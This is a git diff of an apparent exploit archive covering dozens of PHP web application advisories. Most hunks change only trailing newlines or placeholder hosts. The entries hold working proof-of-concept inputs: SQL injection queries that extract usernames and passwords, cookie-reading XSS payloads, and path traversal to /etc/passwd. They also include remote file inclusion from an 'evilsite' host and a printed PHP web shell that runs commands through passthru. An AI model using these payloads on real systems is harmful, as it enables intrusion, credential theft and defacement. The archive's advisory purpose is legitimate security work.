b/platforms/php/webapps/26456.txt index 770737593..5ce5d7b5c 100755 --- a/platforms/php/webapps/26456.txt +++ b/platforms/php/webapps/26456.txt @@ -4,4 +4,4 @@ XMB Nexus Forum is prone to an SQL injection vulnerability. This issue is due to Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://forums.site/post.php?action=newthread&fid='[SQL]&poll=yes \ No newline at end of file +http://forums.site/post.php?action=newthread&fid='[SQL]&poll=yes \ No newline at end of file diff --git a/platforms/php/webapps/26458.txt b/platforms/php/webapps/26458.txt index e964b8ed3..5bcb29e58 100755 --- a/platforms/php/webapps/26458.txt +++ b/platforms/php/webapps/26458.txt @@ -4,4 +4,4 @@ News2Net is prone to an SQL injection vulnerability. This issue is due to a fail Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/news2net/index.php?category=[SQL] \ No newline at end of file +http://www.example.com/news2net/index.php?category=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26459.txt b/platforms/php/webapps/26459.txt index 85cff39bc..6ba6d8c6e 100755 --- a/platforms/php/webapps/26459.txt +++ b/platforms/php/webapps/26459.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th phpWebThings version 1.4.4 is affected; other versions may also be vulnerable. -http://www.example.com/forum.php?forum='><script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/forum.php?forum='><script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26466.txt b/platforms/php/webapps/26466.txt index 87929df11..c43bd2d52 100755 --- a/platforms/php/webapps/26466.txt +++ b/platforms/php/webapps/26466.txt @@ -11,4 +11,4 @@ An attacker may also upload arbitrary scripts, which may be subsequently execute CuteNews 1.4.1 is reported to be vulnerable to this issue. Other versions may be affected as well. http://www.example.com/cute141/show_news.php?template=../../../../../../../../boot.ini%00 -http://www.example.com/cute141/show_news.php?template=../../../../../../../../[script] \ No newline at end of file +http://www.example.com/cute141/show_news.php?template=../../../../../../../../[script] \ No newline at end of file diff --git a/platforms/php/webapps/26467.txt b/platforms/php/webapps/26467.txt index 75e617f33..ceb2098fd 100755 --- a/platforms/php/webapps/26467.txt +++ b/platforms/php/webapps/26467.txt @@ -4,4 +4,4 @@ PHP Handicapper is vulnerable to an HTTP response splitting vulnerability. This A remote attacker may exploit this vulnerability to influence or misrepresent how Web content is served, cached or interpreted. This could aid in various attacks that attempt to entice client users into a false sense of trust. -http://www.example.com/front/process_signup.php?login=[CRLF] \ No newline at end of file +http://www.example.com/front/process_signup.php?login=[CRLF] \ No newline at end of file diff --git a/platforms/php/webapps/26476.txt b/platforms/php/webapps/26476.txt index ae66df2a4..314618f7f 100755 --- a/platforms/php/webapps/26476.txt +++ b/platforms/php/webapps/26476.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to execute arbitrary remote PHP code on an af http://www.example.com/index.php?page=http://evilcode?&cmd= -or http://www.example.com//?site=evilcode?&cmd= \ No newline at end of file +or http://www.example.com//?site=evilcode?&cmd= \ No newline at end of file diff --git a/platforms/php/webapps/26477.txt b/platforms/php/webapps/26477.txt index a18b275ef..edaa92612 100755 --- a/platforms/php/webapps/26477.txt +++ b/platforms/php/webapps/26477.txt @@ -4,4 +4,4 @@ XMB is prone to a cross-site scripting vulnerability because the application fai An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. A successful exploit could allow an attacker to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/u2u.php?action=send&username=[code] \ No newline at end of file +http://www.example.com/u2u.php?action=send&username=[code] \ No newline at end of file diff --git a/platforms/php/webapps/26480.txt b/platforms/php/webapps/26480.txt index d9136b308..7917b2c71 100755 --- a/platforms/php/webapps/26480.txt +++ b/platforms/php/webapps/26480.txt @@ -7,4 +7,4 @@ A remote attacker may exploit this vulnerability to reveal files that contain po Version 2.1 is vulnerable; earlier versions may also be vulnerable. http://www.example.com/engine/admin/admin.php?id_user= -../../../../../../etc/passwd \ No newline at end of file +../../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/26487.txt b/platforms/php/webapps/26487.txt index 7207a55a9..b241fac6d 100755 --- a/platforms/php/webapps/26487.txt +++ b/platforms/php/webapps/26487.txt @@ -6,4 +6,4 @@ An attacker may leverage these issues to have arbitrary script code executed in This issue only affects the BSP runtime of SAP WAS. -http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert('xss')%3C/script%3E \ No newline at end of file +http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap-sessioncmd=open&sap-syscmd=%3Cscript%3Ealert('xss')%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26488.txt b/platforms/php/webapps/26488.txt index 43dc06de4..8c3ec03cd 100755 --- a/platforms/php/webapps/26488.txt +++ b/platforms/php/webapps/26488.txt @@ -8,4 +8,4 @@ A successful attack may result in various attacks including theft of cookie-base This issue only affects the BSP runtime of SAP WAS. -http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=http%3a%2f%2fwww.example.com \ No newline at end of file +http://www.example.com/sap/bc/BSp/sap/menu/fameset.htm?sap--essioncmd=close&sapexiturl=http%3a%2f%2fwww.example.com \ No newline at end of file diff --git a/platforms/php/webapps/26490.txt b/platforms/php/webapps/26490.txt index e18b3c19f..3c0a40e25 100755 --- a/platforms/php/webapps/26490.txt +++ b/platforms/php/webapps/26490.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to have arbitrary script code executed in th Versions 1.9.x up to and including 1.9.2 are affected; prior versions may also be affected. http://www.example.com/tiki-view_forum_thread.php?forumId=1&comments_parentId=0&topics_offset=10%22%20onmouseover='javascript:alert(document.title)%3B'%3E[PLEASE%20MO -VE%20YOUR%20MOUSE%20POINTER%20HERE!]%20%3Cx%20y=%22 \ No newline at end of file +VE%20YOUR%20MOUSE%20POINTER%20HERE!]%20%3Cx%20y=%22 \ No newline at end of file diff --git a/platforms/php/webapps/26499.txt b/platforms/php/webapps/26499.txt index ebb9a745c..27d2e60bb 100755 --- a/platforms/php/webapps/26499.txt +++ b/platforms/php/webapps/26499.txt @@ -12,4 +12,4 @@ http://www.example.com/index.php?_SERVER[HTTP_ACCEPT_LANGUAGE]=../../README%00 http://www.example.com/index.php?_SERVER[HTTP_ACCEPT_LANGUAGE]=../../README%00&lng=../../README%00 http://www.example.com//index.php?sensor_program=lmsensors.inc.php/../../README%00 -http://www.example.com/index.php?charset=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Hacked!</html> \ No newline at end of file +http://www.example.com/index.php?charset=%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2019%0d%0a%0d%0a<html>Hacked!</html> \ No newline at end of file diff --git a/platforms/php/webapps/26500.txt b/platforms/php/webapps/26500.txt index b1a7797bd..63a244068 100755 --- a/platforms/php/webapps/26500.txt +++ b/platforms/php/webapps/26500.txt @@ -4,4 +4,4 @@ phpWebThings is prone to an SQL injection vulnerability. This is an input valida It is likely that the issue could compromise the software. Depending on the database implementation and the nature of the affected query, it may also be possible to gain unauthorized access to the database. -http://www.example.com/download.php?file=|SQL \ No newline at end of file +http://www.example.com/download.php?file=|SQL \ No newline at end of file diff --git a/platforms/php/webapps/26501.txt b/platforms/php/webapps/26501.txt index 47f6fdab7..8665a3f4d 100755 --- a/platforms/php/webapps/26501.txt +++ b/platforms/php/webapps/26501.txt @@ -7,4 +7,4 @@ Successful attacks could compromise the software. Depending on the database impl http://www.example.com/[12allTarget]/admin/index.php Username: ' or 1=1 /* -Password: (Nothing)(Blank) \ No newline at end of file +Password: (Nothing)(Blank) \ No newline at end of file diff --git a/platforms/php/webapps/26502.txt b/platforms/php/webapps/26502.txt index e0959a95f..6f2a9361f 100755 --- a/platforms/php/webapps/26502.txt +++ b/platforms/php/webapps/26502.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to disclose sensitive information. This may It should be noted that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. -http://www.example.com/support/module.php?module=osTicket&file=/../../../../../etc/passwd \ No newline at end of file +http://www.example.com/support/module.php?module=osTicket&file=/../../../../../etc/passwd \ No newline at end of file diff --git a/platforms/php/webapps/26504.txt b/platforms/php/webapps/26504.txt index 5e9bc678d..ebae6cbbd 100755 --- a/platforms/php/webapps/26504.txt +++ b/platforms/php/webapps/26504.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,userid,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1 -http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,password,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1 \ No newline at end of file +http://www.example.com/ForumReply.php?TopicID=-10%20union%20select%201,password,3,4,5,6,7%20from%20ForumUser%20where%20user_index=1 \ No newline at end of file diff --git a/platforms/php/webapps/26505.txt b/platforms/php/webapps/26505.txt index 672e0ba22..49082e89d 100755 --- a/platforms/php/webapps/26505.txt +++ b/platforms/php/webapps/26505.txt @@ -4,4 +4,4 @@ Unspecified Codegrrl applications are prone to a remote arbitrary code execution An attacker can exploit this to execute arbitrary code in the context of the Web server process. This may facilitate a compromise of the system; other attacks are also possible. -http://www.example.com/protection.php?action=logout&siteurl=http://www.example.com/malicoius-code.txt \ No newline at end of file +http://www.example.com/protection.php?action=logout&siteurl=http://www.example.com/malicoius-code.txt \ No newline at end of file diff --git a/platforms/php/webapps/26510.txt b/platforms/php/webapps/26510.txt index 16fa75de8..a1753b0b9 100755 --- a/platforms/php/webapps/26510.txt +++ b/platforms/php/webapps/26510.txt @@ -4,4 +4,4 @@ Pearl Forums is prone to multiple SQL injection vulnerabilities. These issues ar Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/support/index.php?mode=forums&forumId=[sql] \ No newline at end of file +http://www.example.com/support/index.php?mode=forums&forumId=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/26511.txt b/platforms/php/webapps/26511.txt index 3bc930174..c087fcca4 100755 --- a/platforms/php/webapps/26511.txt +++ b/platforms/php/webapps/26511.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to disclose sensitive information. This may It should be noted that this issue may also be leveraged to read arbitrary files on an affected computer with the privileges of the Web server. -http://www.example.com/support/index.php?mode=../../index \ No newline at end of file +http://www.example.com/support/index.php?mode=../../index \ No newline at end of file diff --git a/platforms/php/webapps/26512.txt b/platforms/php/webapps/26512.txt index 9ff08d390..c6ecfa5b4 100755 --- a/platforms/php/webapps/26512.txt +++ b/platforms/php/webapps/26512.txt @@ -4,4 +4,4 @@ phpWCMS is prone to multiple remote file-include vulnerabilities because the app An attacker may leverage these issues to obtain sensitive information that may help with further attacks on the affected computer. -http://www.example.com/phpwcms/login.php?form_lang=../../../../../../../../etc/passwd%00 \ No newline at end of file +http://www.example.com/phpwcms/login.php?form_lang=../../../../../../../../etc/passwd%00 \ No newline at end of file diff --git a/platforms/php/webapps/26513.txt b/platforms/php/webapps/26513.txt index e49fba458..d2519e260 100755 --- a/platforms/php/webapps/26513.txt +++ b/platforms/php/webapps/26513.txt @@ -4,4 +4,4 @@ phpWCMS is prone to multiple remote file-include vulnerabilities because the app An attacker may leverage these issues to obtain sensitive information that may help with further attacks on the affected computer. -http://www.example.com/phpwcms/img/random_image.php?imgdir=../../../etc/ \ No newline at end of file +http://www.example.com/phpwcms/img/random_image.php?imgdir=../../../etc/ \ No newline at end of file diff --git a/platforms/php/webapps/26514.txt b/platforms/php/webapps/26514.txt index 0b99c7b02..3f97f97ae 100755 --- a/platforms/php/webapps/26514.txt +++ b/platforms/php/webapps/26514.txt @@ -5,4 +5,4 @@ phpwcms is prone to multiple cross-site scripting vulnerabilities. These issues An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/phpwcms/include/inc_act/act_newsletter.php?i=V:target@example.com:<script>alert(document.cookie)</script>) -http://www.example.com/phpwcms/include/inc_act/act_newsletter.php?text=<script>alert(document.cookie)</script> \ No newline at end of file +http://www.example.com/phpwcms/include/inc_act/act_newsletter.php?text=<script>alert(document.cookie)</script> \ No newline at end of file diff --git a/platforms/php/webapps/26515.txt b/platforms/php/webapps/26515.txt index d774c97cc..3771487de 100755 --- a/platforms/php/webapps/26515.txt +++ b/platforms/php/webapps/26515.txt @@ -4,4 +4,4 @@ Template Seller Pro is prone to a remote file include vulnerability. This issue An attacker can exploit this issue to execute arbitrary remote PHP code on an affected computer with the privileges of the Web server process. This may facilitate unauthorized access. -http://www.example.com/include/paymentplugins/payment_paypal.php?config[basepath]=http://www.example.com/[CODE]? \ No newline at end of file +http://www.example.com/include/paymentplugins/payment_paypal.php?config[basepath]=http://www.example.com/[CODE]? \ No newline at end of file diff --git a/platforms/php/webapps/26535.txt b/platforms/php/webapps/26535.txt index 79135f8d6..418f7e8a5 100755 --- a/platforms/php/webapps/26535.txt +++ b/platforms/php/webapps/26535.txt @@ -4,4 +4,4 @@ LiteSpeed Web Server is prone to a cross-site scripting vulnerability. This issu An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com:7080/admin/config/confMgr.php?m=al_adminListener%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file +http://www.example.com:7080/admin/config/confMgr.php?m=al_adminListener%3Cscript%3Ealert(document.cookie)%3C/script%3E \ No newline at end of file diff --git a/platforms/php/webapps/26538.txt b/platforms/php/webapps/26538.txt index c42a77cd2..e4cc82533 100755 --- a/platforms/php/webapps/26538.txt +++ b/platforms/php/webapps/26538.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos /forum/viewforum.php?forum_id=4&lastvisited='[SQL injection] -http://www.example.com/forum/viewforum.php?forum_id=1&lastvisited=' \ No newline at end of file +http://www.example.com/forum/viewforum.php?forum_id=1&lastvisited=' \ No newline at end of file diff --git a/platforms/php/webapps/26539.txt b/platforms/php/webapps/26539.txt index 473c81034..ccdc8ecb7 100755 --- a/platforms/php/webapps/26539.txt +++ b/platforms/php/webapps/26539.txt @@ -6,4 +6,4 @@ An attacker may leverage this issue to execute arbitrary code in the browser of http://www.example.com/poll/popup.php?action=results&poll_ident="><script>alert("hola vengo a flotar");</script> -http://www.example.com/poll/popup.php?action=results&poll_ident="><script>alert(document.cookie);</script> \ No newline at end of file +http://www.example.com/poll/popup.php?action=results&poll_ident="><script>alert(document.cookie);</script> \ No newline at end of file diff --git a/platforms/php/webapps/26541.txt b/platforms/php/webapps/26541.txt index 766987e06..791ebdeb5 100755 --- a/platforms/php/webapps/26541.txt +++ b/platforms/php/webapps/26541.txt @@ -4,4 +4,4 @@ SimplePoll is prone to an SQL injection vulnerability. This issue is due to a fa Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/SimplePoll/results.php?pollid=-1' UNION SELECT 1,2,3,4,5,6,7,8,9,0,1,2,3/* \ No newline at end of file +http://www.example.com/SimplePoll/results.php?pollid=-1' UNION SELECT 1,2,3,4,5,6,7,8,9,0,1,2,3/* \ No newline at end of file diff --git a/platforms/php/webapps/26543.txt b/platforms/php/webapps/26543.txt index 083043289..3eba0b9e2 100755 --- a/platforms/php/webapps/26543.txt +++ b/platforms/php/webapps/26543.txt @@ -4,4 +4,4 @@ APBoard is prone to an SQL injection vulnerability. This is due to a lack of pro Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/apboard/thread.php?id=210&start=[SQL] \ No newline at end of file +http://www.example.com/apboard/thread.php?id=210&start=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26544.txt b/platforms/php/webapps/26544.txt index b845c830d..8d832e879 100755 --- a/platforms/php/webapps/26544.txt +++ b/platforms/php/webapps/26544.txt @@ -4,4 +4,4 @@ PHP Download Manager is prone to an SQL injection vulnerability. This issue is d Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/files.php?cat='&sort \ No newline at end of file +http://www.example.com/files.php?cat='&sort \ No newline at end of file diff --git a/platforms/php/webapps/26545.txt b/platforms/php/webapps/26545.txt index 4a456a026..07829e2a0 100755 --- a/platforms/php/webapps/26545.txt +++ b/platforms/php/webapps/26545.txt @@ -5,4 +5,4 @@ Nuke ET is prone to an SQL injection vulnerability. This issue is due to a failu Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. Insert the following into the 'query' field of http://www.example.com/modules.php?name=Search: -s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* \ No newline at end of file +s%') UNION SELECT 0,user_id,username,user_password,0,0,0,0,0,0 FROM nuke_users/* \ No newline at end of file diff --git a/platforms/php/webapps/26546.txt b/platforms/php/webapps/26546.txt index a8f86fff4..787054219 100755 --- a/platforms/php/webapps/26546.txt +++ b/platforms/php/webapps/26546.txt @@ -4,4 +4,4 @@ PHP-Post is prone to multiple cross-site scripting vulnerabilities because the a An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. The attacker may also be able to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/phpp/profile.php?user='%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E \ No newline at end of file +http://www.example.com/phpp/profile.php?user='%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E \ No newline at end of file diff --git a/platforms/php/webapps/26547.txt b/platforms/php/webapps/26547.txt index 356ef5d04..76184052e 100755 --- a/platforms/php/webapps/26547.txt +++ b/platforms/php/webapps/26547.txt @@ -4,4 +4,4 @@ PHP-Post is prone to multiple cross-site scripting vulnerabilities because the a An attacker may leverage these issues to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. The attacker may also be able to steal cookie-based authentication credentials and launch other attacks. -http://www.example.com/phpp/mail.php?user='%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E \ No newline at end of file +http://www.example.com/phpp/mail.php?user='%3CIFRAME%20SRC=javascript:alert(%2527XSS%2527)%3E%3C/IFRAME%3E \ No newline at end of file diff --git a/platforms/php/webapps/26549.txt b/platforms/php/webapps/26549.txt index 617593f08..b3298fa24 100755 --- a/platforms/php/webapps/26549.txt +++ b/platforms/php/webapps/26549.txt @@ -7,4 +7,4 @@ An attacker can exploit this issue to retrieve arbitrary remote PHP code on an a Torrential Version 1.2 is vulnerable; other versions may also be vulnerable. http://www.example.com/torrential/dox/getdox.php/../forums.php -http://www.example.com/torrential/dox/getdox.php/../../index.html \ No newline at end of file +http://www.example.com/torrential/dox/getdox.php/../../index.html \ No newline at end of file diff --git a/platforms/php/webapps/2655.php b/platforms/php/webapps/2655.php index 5f39173bc..db47d41b3 100755 --- a/platforms/php/webapps/2655.php +++ b/platforms/php/webapps/2655.php @@ -55,7 +55,7 @@ Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: -php '.$argv[0].' localhost http://www.evilserver/shell.txt ls -la -P1.1.1.1:80 +php '.$argv[0].' localhost http://www.evilsite.com/shell.txt ls -la -P1.1.1.1:80 shell.txt: <?php ob_clean();echo"Hacker_Kacper_Made_in_Poland!!..Hauru..^_^..the..best..polish..team..Greetz";ini_set("max_execution_time",0);echo "hauru";passthru($_GET["cmd"]);die;?> -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=- '); diff --git a/platforms/php/webapps/26553.txt b/platforms/php/webapps/26553.txt index 2d6fa35ef..429dca44e 100755 --- a/platforms/php/webapps/26553.txt +++ b/platforms/php/webapps/26553.txt @@ -73,7 +73,7 @@ http://blog.y-shahinzadeh.ir/posts-images/machform/7.jpg All have to be done is uploading PHP shell, and trying to find its name on server. The file will be uploaded in the path: -http://server/data/form_[ID]/[element name]-[mysql_insert_id()].php +http://target.com/data/form_[ID]/[element name]-[mysql_insert_id()].php In URL above, [ID] is gathered in brute-force phase, [element name] is gathered by viewing HTML source, and [mysql_insert_id()] should be brute-forced again. Being relatively difficult, I’ve recorded a clip demonstrating what I’ve said: diff --git a/platforms/php/webapps/26559.txt b/platforms/php/webapps/26559.txt index ffbbad59e..b1a852b89 100755 --- a/platforms/php/webapps/26559.txt +++ b/platforms/php/webapps/26559.txt @@ -4,4 +4,4 @@ Virtual Hosting Control System is prone to cross-site scripting attacks. The vulnerability arises when error messages are rendered and could let an attacker inject hostile HTML and script code into the browser session of another user in the context of the site hosting the application. This could allow for theft of cookie-based authentication credentials or other attacks. -http://www.example.com/dev/inputvalidation%3Cscript%3Ealert(window.location.hash)%3B%3C/script%3E#XSS \ No newline at end of file +http://www.example.com/dev/inputvalidation%3Cscript%3Ealert(window.location.hash)%3B%3C/script%3E#XSS \ No newline at end of file diff --git a/platforms/php/webapps/26560.txt b/platforms/php/webapps/26560.txt index 5096716cc..f309865ad 100755 --- a/platforms/php/webapps/26560.txt +++ b/platforms/php/webapps/26560.txt @@ -7,4 +7,4 @@ An attacker may leverage this issue to have arbitrary script code execute in the PmWiki 2.0 up to and including 2.0.12 are vulnerable; other versions may also be affected. -http://www.example.com/Site/Search?action=search&q=TRY%20ANOTHER%20SEARCH%20NOW!%20YES,%20YOU!'%20onMouseOver='alert(document.title);'%20 \ No newline at end of file +http://www.example.com/Site/Search?action=search&q=TRY%20ANOTHER%20SEARCH%20NOW!%20YES,%20YOU!'%20onMouseOver='alert(document.title);'%20 \ No newline at end of file diff --git a/platforms/php/webapps/26561.txt b/platforms/php/webapps/26561.txt index a897228e0..ea0a70715 100755 --- a/platforms/php/webapps/26561.txt +++ b/platforms/php/webapps/26561.txt @@ -4,4 +4,4 @@ source: http://www.securityfocus.com/bid/15544/info Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/process.php?pname=ShowAlbumDetailsProcess-Start&CategoryID=CategoryID&AlbumID=[sql] \ No newline at end of file +http://www.example.com/process.php?pname=ShowAlbumDetailsProcess-Start&CategoryID=CategoryID&AlbumID=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/26566.txt b/platforms/php/webapps/26566.txt index f1a48ffa5..064fcca99 100755 --- a/platforms/php/webapps/26566.txt +++ b/platforms/php/webapps/26566.txt @@ -8,4 +8,4 @@ Successful exploitation of the SQL injection issue could result in a compromise The cross-site scripting issue may facilitate the theft of cookie-based authentication credentials as well as other attacks. -http://www.example.com/tunez/search.php?action=doSearch&searchFor=[code]&search_type=all \ No newline at end of file +http://www.example.com/tunez/search.php?action=doSearch&searchFor=[code]&search_type=all \ No newline at end of file diff --git a/platforms/php/webapps/26567.txt b/platforms/php/webapps/26567.txt index 0047f4251..d124b1233 100755 --- a/platforms/php/webapps/26567.txt +++ b/platforms/php/webapps/26567.txt @@ -4,4 +4,4 @@ WSN Forum is prone to an SQL injection vulnerability. This issue is due to a fai Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/memberlist.php?action=profile&id=1[SQL] \ No newline at end of file +http://www.example.com/memberlist.php?action=profile&id=1[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26568.txt b/platforms/php/webapps/26568.txt index fa1df6490..68dff8fe7 100755 --- a/platforms/php/webapps/26568.txt +++ b/platforms/php/webapps/26568.txt @@ -7,4 +7,4 @@ Successful exploitation could result in a compromise of the application, disclos This issue affects OmnistarLive version 5.2; earlier versions may also be vulnerable. http://www.example.com/kb.php?id=10006&category_id=[SQL] -http://www.example.com/kb.php?id=[SQL] \ No newline at end of file +http://www.example.com/kb.php?id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26569.txt b/platforms/php/webapps/26569.txt index 4b2f2a055..33dca4f63 100755 --- a/platforms/php/webapps/26569.txt +++ b/platforms/php/webapps/26569.txt @@ -4,4 +4,4 @@ PHP Labs Survey Wizard is prone to an SQL injection vulnerability. This issue is Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/survey.php?sid=[SQL] \ No newline at end of file +http://www.example.com/survey.php?sid=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26570.txt b/platforms/php/webapps/26570.txt index 45fe1852f..124e424b2 100755 --- a/platforms/php/webapps/26570.txt +++ b/platforms/php/webapps/26570.txt @@ -4,4 +4,4 @@ CommodityRentals is prone to an SQL injection vulnerability. Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. -http://www.example.com/DVD/moviedetails.php?usersession=&user_id=[sql]&movie_id=312 \ No newline at end of file +http://www.example.com/DVD/moviedetails.php?usersession=&user_id=[sql]&movie_id=312 \ No newline at end of file diff --git a/platforms/php/webapps/26571.txt b/platforms/php/webapps/26571.txt index 15b23ad37..e4b34290d 100755 --- a/platforms/php/webapps/26571.txt +++ b/platforms/php/webapps/26571.txt @@ -8,4 +8,4 @@ Ezyhelpdesk version 1.0 and earlier are affected. http://www.example.com/?edit=spec_view&edit_id=[SQL] http://www.example.com/?mid=41&m2id=42&page=1&faq_id=[SQL] -http://www.example.com/?mid=41&m2id=42&page=1&c_id=[SQL] \ No newline at end of file +http://www.example.com/?mid=41&m2id=42&page=1&c_id=[SQL] \ No newline at end of file diff --git a/platforms/php/webapps/26574.txt b/platforms/php/webapps/26574.txt index 4f8a6a52d..ca0a61763 100755 --- a/platforms/php/webapps/26574.txt +++ b/platforms/php/webapps/26574.txt @@ -5,4 +5,4 @@ blogBuddies is prone to multiple cross-site scripting vulnerabilities. These iss An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. http://www.example.com/computechnix/blogbuddies/magpierss-0.71/scripts/ -magpie_slashbox.php?rss_url="><script>alert("...");</script> \ No newline at end of file +magpie_slashbox.php?rss_url="><script>alert("...");</script> \ No newline at end of file diff --git a/platforms/php/webapps/2658.php b/platforms/php/webapps/2658.php index 3c6276413..e72f11965 100755 --- a/platforms/php/webapps/2658.php +++ b/platforms/php/webapps/2658.php @@ -13,7 +13,7 @@ echo " |-> Related: Title Post\r\n"; echo " |-> Es: php ".$argv[0]." localhost /blog/ 1 Hacked I Got You\r\n\r\n"; echo " 2 - Deface Blog (With XSS)\r\n"; echo " |-> Related: WebPage\r\n"; -echo " |-> Es: php ".$argv[0]." localhost /blog/ 2 http://server/\r\n\r\n"; +echo " |-> Es: php ".$argv[0]." localhost /blog/ 2 http://site.com/\r\n\r\n"; echo " 3 - Deface Blog (Deleting blog.php)\r\n"; echo " |-> Related: NickName\r\n"; echo " |-> Es: php ".$argv[0]." localhost /blog/ 3 BlackHawk\r\n\r\n"; diff --git a/platforms/php/webapps/26580.txt b/platforms/php/webapps/26580.txt index 12c7ac847..cbfb99561 100755 --- a/platforms/php/webapps/26580.txt +++ b/platforms/php/webapps/26580.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 1.1 and earlier are affected; other versions may also be affected. -http://www.example.com/search_result.php?cid=[sql] \ No newline at end of file +http://www.example.com/search_result.php?cid=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/26581.txt b/platforms/php/webapps/26581.txt index 15cba456b..26509ef9b 100755 --- a/platforms/php/webapps/26581.txt +++ b/platforms/php/webapps/26581.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 1.1 and earlier are affected; other versions may also be affected. -http://www.example.com/review.php?sbres_id=[sql] \ No newline at end of file +http://www.example.com/review.php?sbres_id=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/26583.txt b/platforms/php/webapps/26583.txt index 89f47e7ad..deb6f9b55 100755 --- a/platforms/php/webapps/26583.txt +++ b/platforms/php/webapps/26583.txt @@ -6,4 +6,4 @@ Successful exploitation could result in a compromise of the application, disclos Version 1.1 and earlier are affected; other versions may also be affected. -http://www.example.com/email.php?&h_id=[sql] \ No newline at end of file +http://www.example.com/email.php?&h_id=[sql] \ No newline at end of file diff --git a/platforms/php/webapps/26586.txt b/platforms/php/webapps/26586.txt index 70fe6c536..678834581 100755 --- a/platforms/php/webapps/26586.txt +++ b/platforms/php/webapps/26586.txt @@ -10,4 +10,4 @@ Some of these issues may be related to those discussed in BID 11740 (SugarCRM Mu An independent study by Daniel Fabian of SEC-CONSULT has confirmed the existence of several of these issues. Please see the referenced advisory for more information. -http://www.example.com/?ticket_title=&contact_name=&priority=&status=&action=index&query=true&module=HelpDesk&order_by=&sorder=ASC&viewname=0&button=Search&category=&date_crit=is&date=%27+UNION+SELECT+56%2CCONCAT%28user_name%2C+%22%3A%22%2C+user_password%29%2C+%22Open%22%2C%22Normal%22%2C1%2C1%2C1%2C1%2C1%2C1%2C1%2C1+from+users+where+users.user_name+LIKE+%27 \ No newline at end of file 